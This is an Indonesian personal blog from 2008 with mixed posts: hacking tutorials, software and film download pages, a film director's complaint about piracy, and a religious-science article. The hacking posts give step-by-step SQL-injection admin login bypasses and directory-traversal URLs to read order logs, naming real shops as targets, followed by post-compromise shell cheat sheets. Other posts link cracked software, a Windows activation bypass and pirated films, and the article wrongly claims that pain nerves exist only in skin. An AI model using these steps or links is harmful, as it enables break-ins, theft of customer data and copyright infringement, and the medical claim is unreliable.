If there's any questions, feel free to ask.

SOFTWARE PENDUKUNG..

https://store2.esellerate.net/store/checkout/CustomLayout.aspx?s=STR5543411856&pc=&page=OnePageCart.htm

https://store2.esellerate.net/store/checkout/CustomLayout.aspx?s=STR5543411856&pc=&page=OnePageCatalog.htm

http://esales.element5.com/product.html?cart=1&productid=300227361&oplayout=USA&affiliateid=200064046

By. M Hasbi

BUG DIGISHOP

2008-09-12T14:55:00.001+02:00

langkah pertama

1. buka om google dulu hehehehe atau apa aja deh pokoknya search engine sejenisnya
2. masukan keyword inurl:"cart.php?=m"
3. baru klik salah satu target. contoh...http://www.kissarmywarehouse.com/cart.php ===> langsung di ganti menjadi http://www.kissarmywarehouse.com/admin
eng ing eng.....masuk pada page admin login...
abis itu masukan username ama passwordnya...
username:'or"="
password : 'or"="
4. masuk dah...abis itu liat page order....

Motto: Mengetahui BUG hanya Untuk Menangkal Kriminilitas Cyber.

BUG pada ORDER LOG

2008-09-12T14:54:00.002+02:00

1.Buka search engine kesukaanmu and kawan-kawan www.google.co.id
2.Kemudian ketik => allinurl:store/index.cgi/page=
3.Kalau sudah dapat target yang alamat sites yang kamu...ex=http://www.cashwells.com/cgi-bin/store/index.cgi?page=repair_manuals.htm
4.Langkah selajutnya arahkan mouse kamu ke browsing/url terus kamu hapus=>repair_manuals.htm
5.Terus masukin bug ini => ..admin/files/order.log
6.Hasilnya di browsing/urlnya => http://www.cashwells.com/cgi-bin/store/index.cgi?page=..admin/files/order.log

BUG pada ORDER LOG

Perintah2 Shell

2008-09-12T14:45:00.001+02:00

ls -alfi
: melihat daftar file di suatu direktori atau melihat atribut sebuah file
cat : melihat isi file
uname -a : melihat jenis OS serta versi
netstat -tnap : melihat koneksi keluar/masuk, atau listen
rm -rf : menghapus file atau direktori
cp : copy file
mv : mengganti nama file atau memindah file
echo : menampilkan kata yang dituliskan setelahnya
w : menampilkan user yang sedang login
whoami : menampilkan user kita sendiri
id : menampilkan user kita sendiri
mkdir : membuat direktori baru
touch : membuat file kosong
pwd : menampilkan irektori aktif
chown : mengganti kepemilikan file
chmod : mengganti atribut file
last : menampilkan daftar user-user yang pernah login
useradd : menambahkan user (root)
userdel : menghapus user (root)
usermod : memodifikasi user
passwd : mengganti password
su : ganti sebagai user lain
tar -zxvf : mengekstrak file tgz atau tar.gz
tar -czf : membuat file tgz
wget : mengambil suatu data dari suatu situs
lwp-download : mengambil suatu data dari suatu situs
curl : mengambil suatu data dari suatu situs
fetch : mengambil suatu data dari suatu situs (bsd)

linux commands in shell

2008-09-12T14:43:00.001+02:00

cat ./../mainfile.php - Config file.

ls -la - Lists directory's.

ifconfig {eth0 etc} - Ipconfig equiv.

ps aux - Show running proccess's.

gcc in_file -o out_file - Compile c file.

cat /etc/passwd - List's accounts.

sudo - Superuser Do run a command as root provided you have perms
in /etc/sudoers.

id - Tells you what user your logged in as.

which wget curl w3m lynx - Check's to see what downloaders are
present.

uname -r - Shows all release info (or) cat /etc/release.

uname -a - shows all kernal info (or) cat /etc/issue

last -30 - Last logged 30 ip's can change to desired number.

useradd - Create new user account.

usermod - Modify user account.

w - See who is currently logged on.

locate password.txt - Locates password.txt in current dur can use *.

rm -rf / - Please be carefull with this command, i cannot stress this
enough.

arp -a - Lists other machines are on the same subnet.

lsattr -va - ls file attributes on linux second extended file system

find / -type f -perm -04000 -ls - Finds suid files.

find . -type f -perm -04000 -ls - Finds suid files in current dir.

find / -type f -perm -02000 -ls - Finds all sgid files.

find / -perm -2 -ls - Finds all writable files and folders.

find . -perm -2 -ls - Finds all writable files and folders in current dir.

find / -type f -name .bash_history - Finds bash history.

netstat -an | grep -i listen - shows open ports.

cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
with no pass.

find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.

cat /proc/version /proc/cpuinfo - Cpu info.

locate gcc- Finds gcc if installed.

set - Display system variables.

echo $path- Echo current path.

lsmod- Dumps kernal modules.

mount/df- Check mounted file system.

rpm -qa- Check patch level for RedHat 7.0.

dmesg- Check hardware ino.

cat /etc/syslog.conf - Log file.

uptime - Uptime check.

cat /proc/meminfo - Memory check.

find / -type f -perm -4 -print 2> /dev/null- Find readble files.

find / -type f -perm -2 -print 2> /dev/null - Find writable files.

chmod ### $folder - Chmod folder.

ls -l -b - Verbosly list directory's

Software untuk EDIT VIDEO & FILM...... Ok bngt deh.

2008-03-02T00:32:00.002+02:00

Ulead Video Studio 11 Plus !

Imagine the Movies You’ll Make

VideoStudio Editor gives you all the tools you need to produce great-looking home movies. Follow an easy, step-by-step workflow that lets you spend your time being creative rather than learning technical editing.

Movie Wizard is ideal for users new to video editing. Select from attractive themes and let auto-editing create a professional opening sequence for you. Instantly produce entertaining photo slideshows with Smart Pan & Zoom. You’ll have a complete movie in only three steps.

DV-to-DVD Wizard™ The fastest way from DV to DVD. Just hook up your camcorder and choose the clips you want. In just two steps you have a finished DVD complete with menus, titles, transitions and music.

Total High-Definition Solution

Make the most of your HD camcorder, widescreen TV and surround sound system. Easily produce high-definition videos and HD DVD discs with the best quality picture and sound.

Multiple Overlay Tracks and expandable timeline Create sophisticated picture-in-picture and montage effects with up to six overlay tracks.

Multi-track Movie Wizard templates Automatically create great movie-style opening sequences and movies with picture-in-picture overlays, music and titles.

Dolby® Digital 5.1 Surround Sound With Dolby® Digital 5.1 Surround Sound, your home movies will sound like you're in a movie theater.

Auto Color and Tone filters Auto-correct videos that were recorded in poor light conditions.

DeBlock and DeSnow filters Clean up video with digital noise or blocky compression artifacts.

MPEG Optimizer Suggests encoding settings for the best quality and speed.

DVD Authoring Create fully-interactive DVD or HD DVD* motion menus and submenus, including 16:9 widescreen. Customize menus by resizing and positioning buttons. Apply menu transitions that segue smoothly between menus and DVD content, and menu filters which allow you to create movement even on static menus, for professional-looking DVDs.

MPEG-4 and H.264 Support Take advantage of output templates for creating video for iPod®, PSP™, Zune™, Smartphones, PDAs and other portable devices.

InterVideo® WinDVD® Player included

Share your standard and high-definition video, (AVCHD, MPEG-2 HD/WMV-HD), right from your computer.

Code:
http://rapidshare.com/files/28933995/UVS11Plus_FULL.part1.rar
http://rapidshare.com/files/28932670/UVS11Plus_FULL.part2.rar
http://rapidshare.com/files/28931505/UVS11Plus_FULL.part3.rar

Download Accelerator Plus (DAP) Premium v8.6.1.4 Final

2008-03-02T00:10:00.001+02:00

Download Accelerator Plus (DAP) Premium v8.6.1.4 Final

Full Speed AND Security! Only with Download Accelerator Plus 8.6

Only with DAP Premium:

* Private Downloads - Lock, hide & protect your downloads with a secure password!
* Extremely Fast - Faster download sources & maximum possible speed!
* New Tabbed downloading!
* Up to 400% faster downloads.
* Resume broken downloads!
* Preview files while you download.
* NEW and improved interface!
* Daily downloads recommended by DAP users!
* No advertisements
* Totally customized download experience!
* Shredder deletes traces of files you no longer need.

Download :

http://rapidshare.com/files/73659547/D_Kom_KuM86.rar

Pass Code: victory2008

BitDefender Antivirus, Internet Sec, T Security v11.0.13 New

2008-03-01T23:43:00.001+02:00

BitDefender AntiVirus 2008 Build 11.0.13

BitDefender AntiVirus - the antivirus and antispyware software solution for your personal computer!
BitDefender provides security solutions to satisfy the protection requirements of today's computing environment, delivering effective threat management to over 41 million home and corporate users in more than 200 countries. BitDefender Antivirus is a powerful antivirus and antispyware tool with features that best meet your security needs. Ease of use and automatic updates make BitDefender Antivirus an ‘install and forget’ product.

BitDefender Internet Security 2008 Build 11.0.13

BitDefender Internet Security 2008 provides all the security your Internet-connected family or small business needs. It provides comprehensive proactive protection from viruses, hackers, spyware, spam and phishing emails, and it also protects children from inappropriate websites.

BitDefender Internet Security 2008 is designed for users who want complete protection from malware and other common Internet Security threats. Internet Security includes all of the benefits of Antivirus 2008 as well as:
• Firewall protection – controlling access to the Internet while “hiding” the computer from hackers
• E-mail anti-phishing and anti-spam – preventing different types of spam and scam e-mails from being delivered
• Parental controls – to block access to inappropriate websites and e-mails
• Web time limiter – which allows or blocks access to the web during specified time periods
• Application control – which allows users to limit access to specified applications

Other benefits include Wi-Fi wireless protection that alerts users to unauthorized access to their Wi-Fi network, and the use of new adaptive engines which offer greater protection by speeding response times to new spamming techniques.

BitDefender Total Security 2008 Build 11.0.13

BitDefender Total Security 2008 - the Ultimate Proactive Protection for Your PCs
BitDefender®, a global provider of award-winning antivirus software and data security solutions, has launched BitDefender 2008 – its new line of security solutions providing state-of-the-art proactive protection from today’s most damaging viruses, spyware, hackers, spam, phishing attacks, and other common Internet security threats.
The BitDefender 2008 product line, which includes BitDefender Antivirus 2008, Internet Security 2008 and Total Security 2008, is designed to protect a wide variety of computer usage scenarios ranging from individual PC users and multi-PC families to SoHo businesses.

BitDefender Total Security 2008 provides the ultimate proactive protection for your PCs. It combines state of the art protection against viruses, spyware, hackers, spam and other Internet security threats. Moreover, its system maintenance and PC backup tools keep your PC running fast and protected from data loss.

BitDefender Total Security 2008 is designed for users who desire the ultimate in protection from Internet security threats and data loss, with integrated backup and PC maintenance tools to keep their PC running at peak performance. Total Security includes all of the features and benefits of Antivirus 2008 and Internet Security 2008, as well as the following new features:
• Data backup – safeguarding data by creating backup copies to local and removable drives, CD-R/RW or DVD-R/RW
• PC Tune-up – improving PC performance by removing unnecessary files and registry entries
• Trace clean-up – which completely erases files and “traces” of files from disks to prevent recovery

“BitDefender 2008 provides home and SMB users with an unmatched level of protection that defends against tomorrow’s threats today,” said Bogdan Dumitru, BitDefender CTO. “As hackers and spammers rapidly change their tactics, our patent-pending B-HAVE heuristics technology provides users with the highest levels of proactive protection from zero-day and unknown malware threats. The new capabilities offered in BitDefender 2008 – including 64-bit support and the Gamer Mode – also demonstrate BitDefender’s ongoing commitment to evolve its offerings to meet the needs of today’s latest applications.”

ANTIVIRUS & ANTISPYWARE
* Protects your PC in real time from known viruses, spyware and other malware with hourly updates
* Blocks unknown viruses using advanced proactive detection techniques
* Monitors and prevents spyware threats in real-time
* Detects and removes the newest breed of hidden threats known as rootkits
* Provides a load to a minimum

ANTI-PHISHING
* Protects against phishing attacks by filtering all accessed web pages for fraud attempts
* Reduces the risk of identity theft by preventing personal information smooth gaming experience by reducing the system leaks via e-mail or web

System Requirements:
* Windows 2000 with Service Pack 4
* Windows XP with Service Pack 2 (32/64 bit)
* Windows Vista (32/64 bit)

Download :

Download BitDefender AntiVirus 2008 x32 - 34.1 MB

http://download.bitdefender.com/windows/desktop
/antivirus/final/en/bitdefender_antivirus_2008_32b.exe

Download BitDefender AntiVirus 2008 x64 - 36.9 MB

http://download.bitdefender.com/windows/desktop/antivirus
/final/en/x64/bitdefender_antivirus_2008_64b.exe

Download BitDefender Internet Security 2008 x32 - 40.3 MB

http://download.bitdefender.com/windows/desktop
/internet_security/final/en/bitdefender_internetsecurity_2008_32b.exe

Download BitDefender Internet Security 2008 x64 - 43.2 MB

http://download.bitdefender.com/wind...y_2008_64b.exe

passw Code:
jipon.GRoss

BIKIN SYSTEM OPERASI WINDOWS BAJAKAN ANDA ASLI

2008-03-01T22:34:00.001+02:00

Silahkan tool ini yang bisa sulap OS / windows km jd asli dalam 2 detik aja....

Penasaran NEH !! coba download aja DEEEH...

CARANYA:

*********************************************************
Make your copy of Windows XP 100% Genuine in 2 seconds !!
*********************************************************
Here are the tools to change your product key, and a working key (it will continue working as it's used by students / teachers learning to install windows / software - so they expect it to go up and down like crazy!!)
No more cracks ever needed!
1) Either use keyfinder.exe or port_rockxp_v4.exe to change the key to the one in the txt file.

This process has been tested (and has been running without incident) for 3 months now. All validation checks are passed.
P.S: One word of warning; some antivirus programs will detect keyfinder.exe as a malware. It isn't is this case; it's the program that allows you change your key (something mcft doesn't want you doing). For those who don't trust that, I've also included rock_xp that allow you change the key too and virus programs do not detect this a malware.
2) Or you can use the magic regfile so in only one click your copy of Windows XP will be 100% Genuine
1- run regifile .....without restart go to Mcft .
be sure of your genuine copy if still not believe by using "Microsoft Genuine Advantage Diagnostic Tool.exe"
2- Now Download and Install All Mcft Softs ( IE7 , WMP11 , Windows Defender ... ) without any Problem as a Genuine XP User !!

Have fun !!

DAN HASILNYA ====>

Silahkan Download Programnya di:

http://www.ziddu.com/download.php?uid=b7KdlJWlbK2ZlJSttKyZlJyiZqyWlpip6

AAC Di Bajak, Curhatan Hanung

2008-02-25T02:54:00.003+02:00

AAC Di Bajak, Curhatan Hanung

Sebelumnya, saya secara pribadi "MH" meminta maaf karena telah merugikan Kang Hanung dan temen teman yang terlibat dalam pembuatan film ini,... Namun karena keterbatasan tempat dan kondisi akhirnya mau tidak mau harus mendownload dan menonton film yang sudah dinanti-nanti sekian lama secara ILEGAL (BAJAKAN). Kesan saya setelah mengamati dan menonton film tersebut SUBHANALLAH dua kata yang terucap TERHARU & GOOD...... walaupun kata Kang Hanung msh proses editing tapi acungan JEMPOL saya tujukan ke Sutradara (Kang Hanung) semoga, dengan munculnya film ini menjadi motivator munculnya film2x pembangun jiwa lainnnya, ALLAHU AKBAR...!!! Keep in da'wah :)

MH-Zagazig-Mesir
------------------------------------------------------------------------------
Saya pikir, setelah materi film sebanyak 7 Rheel dibawa dari India menuju Jakarta, saya bisa sujud syukur dan berseru 'akhirnya film ini selesai juga.’ Sejauh yang saya bayangkan, tidak akan ada lagi persoalan besar yang menghadang. Tapi tidak sangka, hasil film ketika diperbanyak di lab Jakarta, hasilnya scratch, seperti nonton film ‘Janur Kuning’. Dua lab Film yang ada di Jakarta (yang ternyata satu-satunya lab di Negeri ini) tidak bisa menanggulangi persoalan itu. Belum lengkap seminggu ada di Jakarta, 7 Rheel Film Ayat-Ayat Cinta diterbangkan di Bangkok untuk diperbanyak sekaligus diberi Subtitle. Lagi-lagi kita kejar-kejaran dengan waktu karena paling tidak film harus sudah jadi tanggal 18 Februari untuk Gala Premiere di Plaza Senayan-Jakarta.
Di Bangkok, persoalan scratch terselesaikan dengan baik dengan cara melakukan duplicate negative film tersebut. Akhirnya, 70 copy film Ayat-Ayat Cinta terselesaikan dalam waktu satu minggu. Pada saat dilakukan pengiriman melalui bandara Swarnabhumi-bangkok, kita terganjal maskapai penerbangan Garuda. 70 Copy tidak boleh di bawa, harus melalui Kargo. Padahal beberapa producer pernah melakukan itu sebelumnya dalam airlines yang sama. Kita sempat berdebat panjang di depan counter check in. Akhirnya hanya 10 copy saja yang bisa kebawa, sisanya harus lewat Kargo. 4 orang yang semula menyertai saya membawa 70 copy tersebut akhirnya harus tinggal di Bangkok untuk mengurus pengiriman lewat Kargo. Saya semakin was-was karena isyu birokrasi di lembaga Bea Cukai bandara terkenal rumit dan banyak preman. Salah-salah film AAC terganjal di Bea Cukai.
Pada saat saya melakukan pengecekan ulang atas 10 Copy untuk keperluan Gala Premiere di Plaza Senayan, saya mendapatkan sms dari teman saya kalau AAC sudah ada bajakannya. Saya kaget, karena belum pernah sepanjang sejarah saya membuat film, pembajak membajak film Nasional. Saya punya kenalan pengusaha dvd bajakan di Glodok yang bahkan pernah bilang ‘Kita tidak membajak film-film Indonesia. Kasihanlah, film Indonesia kan lagi tumbuh. Sayang kalau dibajak. Film Amerika aja yang kita bajak. Mereka kan udah kaya.’ Saya tersenyum dalam hati. Moralitas kadang muncul tanpa kita duga dari jenis manusia seperti apa.
Persoalan moralitas dan manusia itu kemudian yang membawa saya menelusuri kebenaran berita pembajakan film AAC. Manusia seperti apa yang tega melakukannya? Moralitas seperti apa yang dia anut, kalau manusia kelas pembajak glodok (yang menyikapi bajakan sebagai bisnisnya) saja bisa menerapkan ukuran nilai atas produk yang dia bajak.
‘Saya sangat menyesal mendengar itu, Mas. Kini di Malang sedang geger’ begitu bunyi sms dari teman saya di Malang. Seperti sebuah bola salju yang tergulir, sms-sms lain datang dari Surabaya, Makasar, Jogja. Mereka tidak sekedar mengabarkan, tapi memberikan analisa detil gambar, suara dan hasil edit atas film bajakan AAC. Bahkan ada yang bilang kalau hasil bajakan tersebut sudah di komentari di internet. Subhanalloh!
Saya cuma bisa diam. Hati saya bergolak. Bukan karena film saya di bajak yang kemudian keuntungan yang saya terima sedikit. (Ah, lagi-lagi kalau kita bicara materi tidak akan ada habisnya). Mari kita membebaskan diri dari kecenderungan menilai pembajakan dari unsur materi. Hal paling besar dari pengaruh bajakan adalah: Penonton tidak dididik menghargai kualitas terbaik dari sutradara. Film Ayat-Ayat Cinta, sekalipun di bajakan bisa diikuti jalan ceritanya, tapi bukan kualitas terakhir dari sutradara-producer dan kru serta pemain. Bajakan tersebut diambil dari hasil mentah yang masih ada di mesin editing studio MD. Artinya belum ada music yang layak (Masih musik kasar yang diambil dari film Schindler list, Kamasutra, Pasion of Christ, dsb), belum ada tata suara yang mendukung seperti suara Ustadz Jefri melantunkan ayat dan doa, suara Fahri di masjid Al Azhar saat Talaqi masih suara cewek, suara-suara atmosfer lalu lintas di Kairo juga belum masuk. Pendeknya, hasil dari bajakan tersebut belum layak untuk menjadi bahan apresiasi penonton. Jika sudah begitu, apakah penonton juga layak menilai sebuah produk yang memang belum layak untuk di apresiasi?
Kabarnya, saya mendengar justru yang mengkonsumsi AAC bajakan kebanyakan umat muslim pecinta novel AAC. Semoga berita itu tidak benar. Tapi terlepas dari semua itu, saya menyayangkan sikap siapapun yang terlibat, baik membajak maupun mengkonsumsi bajakan tersebut. Apalagi melakukan penilaian atas dasar film bajakan tersebut yang kemudian menghasut, mencerca dan menjelek-jelekkan filmnya dan calon penonton yang mau menonton di bioskop. Saya hanya bisa berharap kepada Alloh untuk memaafkan orang-orang yang melakukan itu. Bagi yang tidak melakukannya, saya ucapkan terima kasih yang paling dalam. Kepadanya, saya hanya berharap doa untuk saya tetap sabar dan tidak terpengaruh.
Jujur, sekali lagi bukan materi yang saya kejar. Lebih dari itu, film ini telah membuat saya mencintai lebih dalam agama Islam, karena keindahan Quran yang menekankan kesabaran dan keikhlasan umatnya.

Robbana Afrigh alaina Sabran, Wa tsabit Aghdamana wan surna 'alalqoumil kafiriin ...

http://hanungbramantyo.multiply.com/...12/AAC_BAJAKAN

Ayat-Ayat Cinta - The Official Thread

2008-02-25T02:46:00.000+02:00

Ayat ayat cinta, Sebuah Novel Fenomenal karya dari Seorang ustadz dan Novelis, Habiburahmah el Shirazy.

The Most favourite book 2005

"Fenomenal, Mengharukan, Pembangun jiwa n Best seller."

tadinya film ini rencana akan dilakukan di Mesir, sesuai dengan isi novel tersebut. Kayak gambar si Fedi Nuril ma orang mesir dibawah ini.

Cuma karena Pihak dari mesir kagak jelas, akhirnya batal dech syuting disana, artis mesirnya juga ga jadi.

setelah dalam proses yang lama, syutingnya pun berubah ke jakarta, dengan artis artis wanita indonesia yang ga kalah jauh ama orang mesir,he, jadi lah film Ayat ayat cinta ini...

GENRE : Drama Religius Roman/Percintaan
PEMAIN : Fedi Nuril, Rianti Cartwright, Sazkia Mecca, Melanie Putri, Carrisa Putri, Surya Saputra, Oka Antara
SUTRADARA : Hanung Bramantyo
PENULIS NASKAH : Salman Aristo & Ginatri S. Noer dari Novel Karya Habiburrahman El Shirazy
PRODUSER : Manooj Punjabi
RUMAH PRODUKSI : MD Pictures
KLASIFIKASI PENONTON : 13 Tahun Keatas (13+)
TANGGAL RILIS : 19 Desember 2007

SINOPSIS :

Fahri bin Abdillah (Fedi Nuril) adalah seorang mahasiswa S2 di universitas Al-Azhar Cairo, Mesir. Selama ini perempuan yang dikenal dekat olehnya hanya ibu dan neneknya. Fahri memang sempat naksir seorang perempuan di sekolahnya namun apalah arti cinta monyet yang dipengaruhi oleh hormon testoteron seorang remaja puber?

Menikah. Fahri memang ingin menikah dengan perempuan shalehah agar menyempurnakan setengah agamanya. Namun untuk mencari bidadari itu Fahri belum sempat. Hidup Fahri penuh dengan target. Keluarganya telah mengorbankan nyaris segalanya agar dia bisa mendapatkan pendidikan yang baik. Biaya untuk kuliah di Al-Azhar Mesir didapat dari hasil menjual sawah warisan dari kakeknya. Untuk itu Fahri membuat peta hidup: 2 tahun selesai master, 4 tahun selesai doktor dan 4 tahun selanjutnya menjadi guru besar. Menikah ketika dia menulis tesis magister. Berarti sekitar waktunya semakin dekat...... tapi siapa perempuan beruntung itu?

Ada cerita tentang Maria Girgis (Carissa Putri) seorang Kristen Koptik yang berprilaku amat Islami, senang membaca Al-Quran bahkan hafal surat Maryam dan Al-Maidah. Lalu ada Nurul (Melanie Putri), seorang mahasiswi Indonesia di Al-Azhar juga. Pintar, baik hati, cantik, sibuk menjadi ketua Wihdah namun masih mau mengajar anak-anak membaca Al-Quran, terlebih lagi putri tunggal seorang pengasuh pesantren besar di Jawa Timur. Nurul diam-diam mencintai Fahri. Namun tak pernah punya keberanian untuk mengatakan atau memberi sinyal kepada Fahri.

Kemudian Noura (Sazkia Mecca), tetangga depan flat Fahri, adalah seorang perempuan cantik yang mengalami kekerasan dalam rumahnya oleh ayahnya: Bahadur. Sejak Fahri menolongnya keluar dari rumah itu dengan bantuan Maria dan Nurul, Noura pun jatuh cinta dan mengirimkan surat cinta kepadanya.

Tapi... masih ada lagi.

Fahri mengenal gadis terakhir ini di metro. Fahri menolongnya dari amukan warga Mesir karena gadis bercadar ini tak tega dan memberikan kursinya kepada seorang ibu warga Amerika yang kepanasan. Sedangkan penumpang yang lain menganggap kalau sekarang waktunya mereka memberikan pelajaran bagi turis Amerika itu atas apa yang dilakukan oleh negaranya.

Dan siapakah perempuan itu? Bagaimana dengan perempuan-perempuan lain yang menaruh hati pada Fahri? Bagaimana dengan akhir cerita cinta yang religius ini....???

Trailer on WEBSITE :
http://www.mdpictures.net/index2.html

KEBIADABAN PKI

2008-02-24T05:22:00.000+02:00

Pemberontakan G.3.0.S.P.K.I

TUTORIAL:
---> Buka Link dibawah ini
---> Klik FREE untuk meneruskan ke FORM Download.
---> Masukkan CODE yang telah diberikan olh RAPIDSHARE dan jalankan download.
---> Tentukan Tempat penyimpanan File di Komputer anda dan OK
---> Kumpulkan File dr 1 - akhir, kemudian EXTRACT semua File yg sudah terkumpul
---> Nikmati FILM-nya sambil nyemil.. hehe.

NB: SETALAH DOWNLOAD SELESAI ANDA DIHARUSKAN MENUNGGU sekitar 1 Jam untuk MENERUSKAN KE DOWNLOAD LINK BERIKUTNYA. Kalau tanpa NUNGGU Gunakan ACCOUNT RAPID PREMIUM (kalau anda punya beruntunglah).

SILAHKAN DOWNLOAD FILM-nya di:

http://rapidshare.com/files/91386977/PKI_1.3gp
http://rapidshare.com/files/91460921/PKI_2.3gp
http://rapidshare.com/files/91473638/PKI_3.3gp

The Verses Of Love Movie's

2008-02-22T22:47:00.000+02:00

" AYAT-AYAT CINTA "

TUTORIAL:
---> Buka Link dibawah ini
---> Klik FREE untuk meneruskan ke FORM Download.
---> Masukkan CODE yang telah diberikan olh RAPIDSHARE dan jalankan download.
---> Tentukan Tempat penyimpanan File di Komputer anda dan OK
---> Kumpulkan File dr 1 - akhir.
---> Nikmati FILM-nya sambil nyemil.. hehe.

NB: SETALAH DOWNLOAD SELESAI ANDA DIHARUSKAN MENUNGGU sekitar 1 Jam untuk MENERUSKAN KE DOWNLOAD LINK BERIKUTNYA. Kalau tanpa NUNGGU Gunakan ACCOUNT RAPID PREMIUM (kalau anda punya beruntunglah).

SILAHKAN DOWNLOAD FILM-nya DI:

part 1.
http://rapidshare.com/files/93604478/aac01.avi.001
http://rapidshare.com/files/93606484/aac01.avi.002
http://rapidshare.com/files/93609386/aac01.avi.003
http://rapidshare.com/files/93616685/aac01.avi.004
http://rapidshare.com/files/93621963/aac01.avi.005

part 2.
http://rapidshare.com/files/93626397/aac02.avi.001
http://rapidshare.com/files/93629973/aac02.avi.002
http://rapidshare.com/files/93633351/aac02.avi.003
http://rapidshare.com/files/93636031/aac02.avi.004
http://rapidshare.com/files/93640990/aac02.avi.005

part 3.
http://rapidshare.com/files/93647390/aac03.avi.001
http://rapidshare.com/files/93650738/aac03.avi.002

Silahkan MIRROR dr Link diatas ada 4 pilihan server berikut:

Rapidshare

Code:

cd1
http://rapidshare.com/files/94449158/aac01.avi.001.html
http://rapidshare.com/files/94449125/aac01.avi.002.html
http://rapidshare.com/files/94449389/aac01.avi.003.html
http://rapidshare.com/files/94451673/aac01.avi.004.html
http://rapidshare.com/files/94452558/aac01.avi.005.html

cd2
http://rapidshare.com/files/94453894/aac02.avi.001.html
http://rapidshare.com/files/94454988/aac02.avi.002.html
http://rapidshare.com/files/94455385/aac02.avi.003.html
http://rapidshare.com/files/94456716/aac02.avi.004.html
http://rapidshare.com/files/94456444/aac02.avi.005.html

cd3
http://rapidshare.com/files/94464835/aac03.avi.001.html
http://rapidshare.com/files/94465604/aac03.avi.002.html

Megaupload

Code:

cd1
http://www.megaupload.com/?d=4DK92CDS
http://www.megaupload.com/?d=U5YPAMZ0
http://www.megaupload.com/?d=SFY8SRHG
http://www.megaupload.com/?d=1BYM65HE
http://www.megaupload.com/?d=25F4VKRG

cd2
http://www.megaupload.com/?d=GYF7TK08
http://www.megaupload.com/?d=CJTZGFCA
http://www.megaupload.com/?d=15UXGM5M
http://www.megaupload.com/?d=90L0UH80
http://www.megaupload.com/?d=TNU464Q0

cd3
http://www.megaupload.com/?d=5QGFABD6
http://www.megaupload.com/?d=ENETURXG

File Factory

Code:

cd1
http://www.filefactory.com/file/7f4d9c/
http://www.filefactory.com/file/0469cb/
http://www.filefactory.com/file/dea2c4/
http://www.filefactory.com/file/cbaca6/
http://www.filefactory.com/file/f86452/

cd2
http://www.filefactory.com/file/d9dbab/
http://www.filefactory.com/file/c8d3be/
http://www.filefactory.com/file/120759/
http://www.filefactory.com/file/7c2cf5/
http://www.filefactory.com/file/cd6a66/

cd3
http://www.filefactory.com/file/6ddcc3/
http://www.filefactory.com/file/44d9b4/

Depositfiles

Code:

cd1
http://depositfiles.com/files/3737699
http://depositfiles.com/files/3737153
http://depositfiles.com/files/3737171
http://depositfiles.com/files/3737842
http://depositfiles.com/files/3737509

cd2
http://depositfiles.com/files/3737685
http://depositfiles.com/files/3737775
http://depositfiles.com/files/3737853
http://depositfiles.com/files/3738161
http://depositfiles.com/files/3737941

cd3
http://depositfiles.com/files/3738569
http://depositfiles.com/files/3739647

SEMOGA TAMBAH KENCENG DOWNLOAD-nya DAN BERMANFAAT KHUSUSNYA BAGI ANDA YANG BERADA DI LN SEPERTI SAYA INI... hehe... Thx,

Konsep Scientific Al-Quran

2008-02-22T15:02:00.000+02:00

Kebenaran konsep Ilmiah Nyeri dalam Al-Qur'an

Oleh : dr. Ade Hashman

Al-Qur’an memberikan ilustrasi bahwa bentuk siksaan kepada orang-orang yang durhaka berupa derita sangat pedih yang diakibatkan luka bakar dikulit.

(إنَّ الذٌينّ كّفّرٍوا بٌآيّاتٌنّا سّوًفّ نصليهم نّارْا كٍلَّمّا نّضٌجّتً جلودهم بدلناهم جلوداَ غيرها ليذوقوا العّذّابّ إنَّ اللَّهّ كّانّ عّزٌيزْا حّكٌيمْا ) (النساء56).

Sesungguhnya orang-orang yang kafir kepada ayat-ayat Kami, kelak akan Kami masukkan mereka ke dalam neraka. Setiap kali kulit mereka hangus, Kami ganti kulit mereka dengan kulit yang lain, supaya mereka merasakan azab. Sesungguhnya Allah Maha Perkasa lagi Maha Bijaksana. (QS 4:56.).

Professor Tejatat Tejasen is the Chairman of the Department of Anatomy pada Chiang Mai University, Chiang Mai, Thailand masuk Islam setelah baca ayat diatas...

Menarik ditinjau dari perspektif kedokteran mengapa penyebutan kulit dikaitkan dengan sensasi nyeri yang diderita para penghuni api jahanam itu.

Menurut defenisi IASP (International Association for the Study of Pain) 1979, nyeri didefenisikan sebagai sensori (rasa indrawi) dan pengalaman emosional yang tidak menyenangkan akibat adanya kerusakan jaringan yang nyata atau yang berpotensi rusak, atau tergambarkan seperti itu. Menyitir salah satu defenisi tersebut, proses yang obyektif nyata yang terjadi bila nyeri muncul adalah akibat kerusakan jaringan.

Kerusakan ini bisa disebabkan pelbagai faktor (trauma fisik, trauma kimiawi trauma thermis dll).

AKHIR UJUNG SYARAF BEBAS
Mungkin secara awam, orang banyak menduga bahwa seluruh bagian tubuh kita sensitif terhadap perasaan nyeri, ternyata setelah ilmu anatomi dan fisiologi berkembang; dugaan seperti itu tidak benar sama sekali. Ada bagian-bagian tertentu dalam tubuh kita yang berperan spesifik untuk merespons atau mengantar sensasi nyeri, yakni ujung syaraf bebas. Dan ternyata tidak semua ujung-ujung syaraf berperan sebagai sarana pengangkut sensasi nyeri, ternyata kini diketahui hanya 2 tipe serabut syaraf yang berperan sebagai pengangkut nyeri yakni syaraf C dan A (delta).

Ujung akhiran syaraf (NERVE ENDING) penghantar nyeri tersebut secara histologis “hanya terdapat pada lapisan kulit (dermis) saja !”.

Bila dokter mau melakukan sebuah sayatan bedah, maka dokter biasanya menyuntikkan obat blok terhadap syaraf tersebut (anestetik local) hal itu dimaksudkan agar signal nyeri akibat kerusakan jaringan tidak diteruskan ke sentral sehingga pasien yang tengah diiris, dipotong, disayat jaringan tubuhnya tidak merasa sakit sama sekali. Dan agar diketahui, sensasi sakit tersebut hanya ada pada lapisan kulit saja (otot, lapisan lemak tidak menyebabkan sensasi sakit sama sekali bila dilukai).

Itulah mengapa Qur’an mengatakan ”Setiap kali kulit mereka hangus, Kami ganti kulit mereka dengan kulit yang lain, supaya mereka merasakan azab....”

SEMPURNANYA LUKA BAKAR
Diantara semua bentuk musibah fisik yang dialami manusia, boleh dibilang kecelakaan akibat luka bakar merupakan musibah yang paling sial dari semua musibah-musibah yang ada dimuka bumi. Komplikasi akibat luka bakar sangat kompleks (dari ujung rambut hingga ujung kaki) dan sukar ditangani, biasanya pasien-pasien yang menderita luka bakar dengan prosentasi yang tinggi akan meninggal dunia, sukar memanage korban luka bakar.

